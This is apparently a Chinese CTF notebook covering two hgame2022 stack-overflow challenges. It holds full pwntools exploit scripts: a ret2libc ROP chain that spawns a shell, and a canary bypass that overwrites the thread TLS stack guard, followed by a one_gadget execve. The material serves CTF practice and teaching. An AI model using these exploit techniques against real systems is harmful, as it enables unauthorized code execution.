pwn栈题记录

特别溢出GDB调试

hgame2022 enter_the_pwn_land

image.png

这里有个变量记录输入字节数，如果直接溢出会导致不能正常溢出而是一直累加，这里‘1’能绕过

EXP

from pwn import *
context.log_level='debug'
rdi=0x0000000000401313
ret=0x000000000040101a
r=process('./1')
def pwn():
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf=ELF('./1')
    # gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
    r.sendline(pay)
    r.recvuntil('\n')
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    sys=leak+libc.sym['system']
    sh=next(libc.search(b'/bin/sh'))+leak
    #gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
    r.sendline(pay)

pwn()
r.interactive()

多线程溢出绕过canary

enter_the_evil_pwn_land

题目和上一题一样，但添加了canary
在使用pthread时，这个TLS会被定位到与线程的栈空间相接近的位置，所以如果输入的数据过长的话也可以把这里覆盖掉，就可以改掉stack_guard的值了。从而绕过金丝雀。
相关文章
thread stack bypass canary和sixstar ctf babystack writeup | Sakuraのblog (eternalsakura13.com)
starctf2018 babystack (ble55ing.github.io)

EXP

from pwn import *
context.log_level='debug'
context.arch="amd64"
rdi=0x0000000000401363
ret=0x000000000040101a
rsi=0x0000000000401361
bss=0x404000+0x500
levae=0x4011FF
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
r=process('./2')
def pwn():
    libc=ELF("./libc-2.31.so")
    elf=ELF('./2')
    pay=b'\x00'*0x30+p64(bss-0x8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(levae)
    pay=pay.ljust(0x950,b"\x00")
    #gdb.attach(r)
    r.sendline(pay)
    #raw_input()
    r.recvuntil("\n")
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    r.sendline(b'\x00'*0x30+p64(1)+p64(leak+0xe6c81))

pwn()
r.interactive()

bss段格式化字符串

oldecho